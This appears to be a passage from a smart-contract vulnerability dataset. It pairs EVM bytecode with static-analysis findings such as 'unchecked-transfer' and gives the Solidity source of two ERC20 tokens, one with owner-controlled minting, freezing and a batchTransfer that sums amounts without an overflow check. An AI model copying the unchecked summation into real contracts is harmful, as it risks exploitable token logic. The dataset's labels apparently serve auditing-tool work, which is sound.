000000000000088800092ff476844f74dc2fc427974bbee2794ae169063a4012b2190602401600060405180830381600087803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b5050505050565b6000610be88484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509250611159915050565b6001600160a01b03811660009081526020819052604090205490915060ff16610c235760405162461bcd60e51b815260040161042e90611b17565b83600281905550610c6c8a8a8a8a808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508c92508b91506105499050565b50505050505050505050565b3360009081526020819052604090205460ff16610ca75760405162461bcd60e51b815260040161042e90611b17565b678ac7230489e80000811115610cf25760405162461bcd60e51b815260206004820152601060248201526f414d4f554e545f544f4f5f4c4152474560801b604482015260640161042e565b6361f8cc60831015610d365760405162461bcd60e51b815260206004820152600d60248201526c53544152545f544f4f5f4c4f5760981b604482015260640161042e565b6001600160a01b0384166000908152600160209081526040808320858452825280832084845290915290205415610da55760405162461bcd60e51b8152602060048201526013602482015272159154d5125391d7d053149150511657d4d155606a1b604482015260640161042e565b6001600160a01b0384166000818152600160209081526040808320868452825280832085845282529182902086905581518681529081018590529081018390527f18a98b9b61307e98b065e66ca4e3129c7004829021e3587b84b3f37e8afd6866906060016103f1565b3360009081526020819052604090205460ff16610e3e5760405162461bcd60e51b815260040161042e90611b17565b6127106004541115610e815760405162461bcd60e51b815260206004820152600c60248201526b4250535f494e5f52414e474560a01b604482015260640161042e565b60048190556040518181527ffa636e6338825b862886e032ba20460e6d91aa20112232c40f6e2c9d603af2ab9060200160405180910390a150565b6001600160a01b0383166000908152600160209081526040808320858452825280832084845290915281205480610ef7576000915050610f77565b83421115610f5a57808411610f3d5760405162461bcd60e51b815260206004820152600c60248201526b2b22a9aa24a723afa7ab22a960a11b604482015260640161042e565b82610f488286611b98565b610f529190611b79565b915050610f77565b42811115610f6c576000915050610f77565b82610f488242611b98565b9392505050565b3360009081526020819052604090205460ff16610fad5760405162461bcd60e51b815260040161042e90611b17565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b158015610ff757600080fd5b505af115801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f9190611a00565b50505050565b3360009081526020819052604090205460ff166110645760405162461bcd60e51b815260040161042e90611b17565b600255565b81516000908490825b8181101561114d5785818151811061108c5761108c611bf6565b60200260200101518310156110ed57828682815181106110ae576110ae611bf6565b60200260200101516040516020016110d0929190918252602082015260400190565b60405160208183030381529060405280519060200120925061113b565b8581815181106110ff576110ff611bf6565b602002602001015183604051602001611122929190918252602082015260400190565b6040516020818303038152906040528051906020012092505b8061114581611baf565b915050611072565b50509091149392505050565b60006001835110156111995760405162461bcd60e51b815260206004820152600960248201526829ab2fa9a4a3a622a760b91b604482015260640161042e565b6000836001855103815181106111b1576111b1611bf6565b016020015160f81c905060008160038111156111cf576111cf611be0565b905060008160038111156111e5576111e5611be0565b14806112025750600181600381111561120057611200611be0565b145b156113e25784516042146112415760405162461bcd60e51b815260206004820152600660248201526529ab2fa622a760d11b604482015260640161042e565b600061124d8682611639565b9050600061125c876020611639565b905060008760408151811061127357611273611bf6565b016020015160f81c9050601b81148061128f57508060ff16601c145b6112ca5760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa4a72b20a624a22fab60a11b604482015260640161042e565b60018460038111156112de576112de611be0565b1415611330576040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c81018a9052605c016040516020818303038152906040528051906020012098505b604080516000808252602082018084528c905260ff841692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa158015611384573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166113d55760405162461bcd60e51b815260206004820152600b60248201526a53565f5a45524f5f53494760a81b604482015260640161042e565b9550610f77945050505050565b60028160038111156113f6576113f6611be0565b141561153757602185511161143d5760405162461bcd60e51b815260206004820152600d60248201526c14d597d3115397d5d053131155609a1b604482015260640161042e565b845160201901600061144f8783611639565b905061145b8783611692565b604051630b135d3f60e11b81526001600160a01b03821690631626ba7e90611489908b908b90600401611aba565b60206040518083038186803b1580156114a157600080fd5b505afa1580156114b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d99190611a36565b6001600160e01b031916630b135d3f60e11b1461152c5760405162461bcd60e51b815260206004820152601160248201527014d597d5d05313115517d2539590531251607a1b604482015260640161042e565b9350610f7792505050565b600381600381111561154b5761154b611be0565b1480156115555750835b15611604573260011461159c5760405162461bcd60e51b815260206004820152600f60248201526e29ab2fa9a827a7a32fa7a924a3a4a760891b604482015260640161042e565b84516021146115dc5760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa9a827a7a32fa622a760a11b604482015260640161042e565b6115e7856020611692565b848060200190518101906115fb919061175c565b92505050610f77565b60405162461bcd60e51b815260206004820152600a60248201526953565f5349474d4f444560b01b604482015260640161042e565b6000611646602083611b3f565b9150818351101561168c5760405162461bcd60e51b815260206004820152601060248201526f084f2e8cae698d2c47440d8cadccee8d60831b604482015260640161042e565b50015190565b808251116116e25760405162461bcd60e51b815260206004820152601860248201527f42797465734c69623a206f6e6c7920736872696e6b696e670000000000000000604482015260640161042e565b9052565b60008083601f8401126116f857600080fd5b50813567ffffffffffffffff81111561171057600080fd5b60208301915083602082850101111561172857600080fd5b9250929050565b803561173a81611c22565b919050565b60006020828403121561175157600080fd5b8135610f7781611c22565b60006020828403121561176e57600080fd5b8151610f7781611c22565b6000806040838503121561178c57600080fd5b823561179781611c22565b915060208301356117a781611c3a565b809150509250929050565b600080600080600080600080600060e08a8c0312156117d057600080fd5b89356117db81611c22565b985060208a0135975060408a013567ffffffffffffffff808211156117ff57600080fd5b818c0191508c601f83011261181357600080fd5b81358181111561182257600080fd5b8d60208260051b850101111561183757600080fd5b602083019950975060608c0135965061185260808d0161172f565b955060a08c0135945060c08c013591508082111561186f57600080fd5b5061187c8c828d016116e6565b915080935050809150509295985092959850929598565b600080600080600060a086880312156118ab57600080fd5b85356118b681611c22565b94506020868101359450604087013567ffffffffffffffff808211156118db57600080fd5b818901915089601f8301126118ef57600080fd5b81358181111561190157611901611c0c565b8060051b604051601f19603f8301168101818110858211171561192657611926611c0c565b604052828152858101935084860182860187018e101561194557600080fd5b600095505b8386101561196857803585526001959095019493860193860161194a565b509750505050606088013593506119849150506080870161172f565b90509295509295909350565b6000806000606084860312156119a557600080fd5b83356119b081611c22565b95602085013595506040909401359392505050565b600080600080608085870312156119db57600080fd5b84356119e681611c22565b966020860135965060408601359560600135945092505050565b600060208284031215611a1257600080fd5b8151610f7781611c3a565b600060208284031215611a2f57600080fd5b5035919050565b600060208284031215611a4857600080fd5b81516001600160e01b031981168114610f7757600080fd5b600080600060608486031215611a7557600080fd5b8335611a8081611c22565b92506020840135611a9081611c22565b929592945050506040919091013590565b600060208284031215611ab357600080fd5b5051919050565b82815260006020604081840152835180604085015260005b81811015611aee57858101830151858201606001528201611ad2565b81811115611b00576000606083870101525b50601f01601f191692909201606001949350505050565b6020808252600e908201526d4e4f545f474f5645524e414e434560901b604082015260600190565b60008219821115611b5257611b52611bca565b500190565b600082611b7457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b9357611b93611bca565b500290565b600082821015611baa57611baa611bca565b500390565b6000600019821415611bc357611bc3611bca565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611c3757600080fd5b50565b8015158114611c3757600080fdfea2646970667358221220ca367012a18819fdeafec97badabbc5d78f070580e40afeacd3c697be88b791564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,727 |
0x90325ce324b3f6e39201f7cd98be5c615b540ddb
|
pragma solidity ^0.4.24;
/******************************************/
/* Netkiller ADVANCED TOKEN */
/******************************************/
/* Author netkiller <netkiller@msn.com> */
/* Home http://www.netkiller.cn */
/* Version 2018-07-25 - batchTransfer */
/******************************************/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract NetkillerAdvancedToken {
using SafeMath for uint256;
address public owner;
// Public variables of the token
string public name;
string public symbol;
uint public decimals;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address indexed target, bool frozen);
bool public lock = false; // Global lock
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint decimalUnits
) public {
owner = msg.sender;
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial token
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public returns (bool status){
lock = _lock;
return lock;
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function balanceOf(address _address) view public returns (uint256 balance) {
return balances[_address];
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) isLock internal {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @notice Create `_amount` tokens and send it to `_to`
/// @param _to Address to receive the tokens
/// @param _amount the amount of tokens it will receive
function mintToken(address _to, uint256 _amount) onlyOwner public {
uint256 amount = _amount * 10 ** uint256(decimals);
totalSupply = totalSupply.add(amount);
balances[_to] = balances[_to].add(amount);
emit Transfer(this, _to, amount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function airdrop(address[] _to, uint256 _value) public returns (bool success) {
for (uint i=0; i<_to.length; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
function batchTransfer(address[] _to, uint256[] _value) public returns (bool success) {
require(_to.length == _value.length);
uint256 amount = 0;
for(uint n=0;n<_value.length;n++){
amount += _value[n];
}
require(amount > 0 && balanceOf(msg.sender) >= amount);
for (uint i=0; i<_to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
}
|
0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ee57806323b872dd14610215578063313ce5671461023f57806342966c6814610254578063619d51941461026c578063661884631461028657806370a08231146102aa57806379c65068146102cb57806379cc6790146102f157806388d695b2146103155780638da5cb5b146103a357806395d89b41146103d4578063a9059cbb146103e9578063b414d4b61461040d578063c204642c1461042e578063d73dd62314610485578063dd62ed3e146104a9578063e724529c146104d0578063f2fde38b146104f6578063f83d08ba14610517575b600080fd5b34801561013857600080fd5b5061014161052c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017b578181015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c257600080fd5b506101da600160a060020a03600435166024356105b9565b604080519115158252519081900360200190f35b3480156101fa57600080fd5b5061020361061f565b60408051918252519081900360200190f35b34801561022157600080fd5b506101da600160a060020a0360043581169060243516604435610625565b34801561024b57600080fd5b506102036106e7565b34801561026057600080fd5b506101da6004356106ed565b34801561027857600080fd5b506101da60043515156107a5565b34801561029257600080fd5b506101da600160a060020a03600435166024356107d7565b3480156102b657600080fd5b50610203600160a060020a03600435166108c7565b3480156102d757600080fd5b506102ef600160a060020a03600435166024356108e2565b005b3480156102fd57600080fd5b506101da600160a060020a036004351660243561099f565b34801561032157600080fd5b50604080516020600480358082013583810280860185019096528085526101da95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610af49650505050505050565b3480156103af57600080fd5b506103b8610bc2565b60408051600160a060020a039092168252519081900360200190f35b3480156103e057600080fd5b50610141610bd1565b3480156103f557600080fd5b506101da600160a060020a0360043516602435610c29565b34801561041957600080fd5b506101da600160a060020a0360043516610c3f565b34801561043a57600080fd5b50604080516020600480358082013583810280860185019096528085526101da953695939460249493850192918291850190849080828437509497505093359450610c549350505050565b34801561049157600080fd5b506101da600160a060020a0360043516602435610c8b565b3480156104b557600080fd5b50610203600160a060020a0360043581169060243516610d24565b3480156104dc57600080fd5b506102ef600160a060020a03600435166024351515610d4f565b34801561050257600080fd5b506102ef600160a060020a0360043516610dc6565b34801561052357600080fd5b506101da610e18565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b505050505081565b336000818152600660209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045481565b600160a060020a03831660009081526005602052604081205482111561064a57600080fd5b600160a060020a038416600090815260066020908152604080832033845290915290205482111561067a57600080fd5b600160a060020a03841660009081526006602090815260408083203384529091529020546106ae908363ffffffff610e2116565b600160a060020a03851660009081526006602090815260408083203384529091529020556106dd848484610e33565b5060019392505050565b60035481565b60008054600160a060020a0316331461070557600080fd5b3360009081526005602052604090205482111561072157600080fd5b33600090815260056020526040902054610741908363ffffffff610e2116565b33600090815260056020526040902055600454610764908363ffffffff610e2116565b60045560408051838152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2506001919050565b60008054600160a060020a031633146107bd57600080fd5b506008805460ff1916911515919091179081905560ff1690565b336000908152600660209081526040808320600160a060020a03861684529091528120548083111561082c57336000908152600660209081526040808320600160a060020a0388168452909152812055610861565b61083c818463ffffffff610e2116565b336000908152600660209081526040808320600160a060020a03891684529091529020555b336000818152600660209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526005602052604090205490565b60008054600160a060020a031633146108fa57600080fd5b600354600a0a8202905061091981600454610fa990919063ffffffff16565b600455600160a060020a038316600090815260056020526040902054610945908263ffffffff610fa916565b600160a060020a0384166000818152600560209081526040918290209390935580518481529051919230927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3505050565b60008054600160a060020a031633146109b757600080fd5b600160a060020a0383166000908152600560205260409020548211156109dc57600080fd5b600160a060020a0383166000908152600660209081526040808320338452909152902054821115610a0c57600080fd5b600160a060020a038316600090815260056020526040902054610a35908363ffffffff610e2116565b600160a060020a0384166000908152600560209081526040808320939093556006815282822033835290522054610a72908363ffffffff610e2116565b600160a060020a0384166000908152600660209081526040808320338452909152902055600454610aa9908363ffffffff610e2116565b600455604080518381529051600160a060020a038516917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250600192915050565b60008060008084518651141515610b0a57600080fd5b60009250600091505b8451821015610b45578482815181101515610b2a57fe5b90602001906020020151830192508180600101925050610b13565b600083118015610b5d575082610b5a336108c7565b10155b1515610b6857600080fd5b5060005b8551811015610bb657610bad8682815181101515610b8657fe5b906020019060200201518683815181101515610b9e57fe5b90602001906020020151610c29565b50600101610b6c565b50600195945050505050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105b15780601f10610586576101008083540402835291602001916105b1565b6000610c36338484610e33565b50600192915050565b60076020526000908152604090205460ff1681565b6000805b83518110156106dd57610c83338583815181101515610c7357fe5b9060200190602002015185610e33565b600101610c58565b336000908152600660209081526040808320600160a060020a0386168452909152812054610cbf908363ffffffff610fa916565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b600054600160a060020a03163314610d6657600080fd5b600160a060020a038216600081815260076020908152604091829020805460ff1916851515908117909155825190815291517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a25050565b600054600160a060020a03163314610ddd57600080fd5b600160a060020a03811615610e15576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60085460ff1681565b600082821115610e2d57fe5b50900390565b60085460ff1615610e4357600080fd5b600160a060020a0382161515610e5857600080fd5b600160a060020a038316600090815260056020526040902054811115610e7d57600080fd5b600160a060020a03821660009081526005602052604090205481810111610ea357600080fd5b600160a060020a03831660009081526007602052604090205460ff1615610ec957600080fd5b600160a060020a03821660009081526007602052604090205460ff1615610eef57600080fd5b600160a060020a038316600090815260056020526040902054610f18908263ffffffff610e2116565b600160a060020a038085166000908152600560205260408082209390935590841681522054610f4d908263ffffffff610fa916565b600160a060020a0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b81810182811015610fb657fe5b929150505600a165627a7a72305820d06c3945f896e326726abeee4069b8de7f0a7a3af3fec43cc405d1b409cd64480029
|
{"success": true, "error": null, "results": {}}
| 3,728 |
0x68a3de6311e480b67c43174aa97b76d5eb998fbe
|
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract LBR is ERC20 {
string public constant name = "LBR";
string public constant symbol = "LBR";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 560000000 * (10 ** uint256(decimals));
address public wallet = 0x89634A02AD75d82adbf8c57cCc1587D33b855755;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(wallet, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b25780632ff2e9dc146101dc578063313ce567146101f1578063395093511461021c578063521eb2731461024057806370a082311461027157806395d89b41146100c9578063a457c2d714610292578063a9059cbb146102b6578063dd62ed3e146102da575b600080fd5b3480156100d557600080fd5b506100de610301565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610338565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06103b6565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356103bc565b3480156101e857600080fd5b506101a0610459565b3480156101fd57600080fd5b50610206610469565b6040805160ff9092168252519081900360200190f35b34801561022857600080fd5b50610177600160a060020a036004351660243561046e565b34801561024c57600080fd5b5061025561051e565b60408051600160a060020a039092168252519081900360200190f35b34801561027d57600080fd5b506101a0600160a060020a036004351661052d565b34801561029e57600080fd5b50610177600160a060020a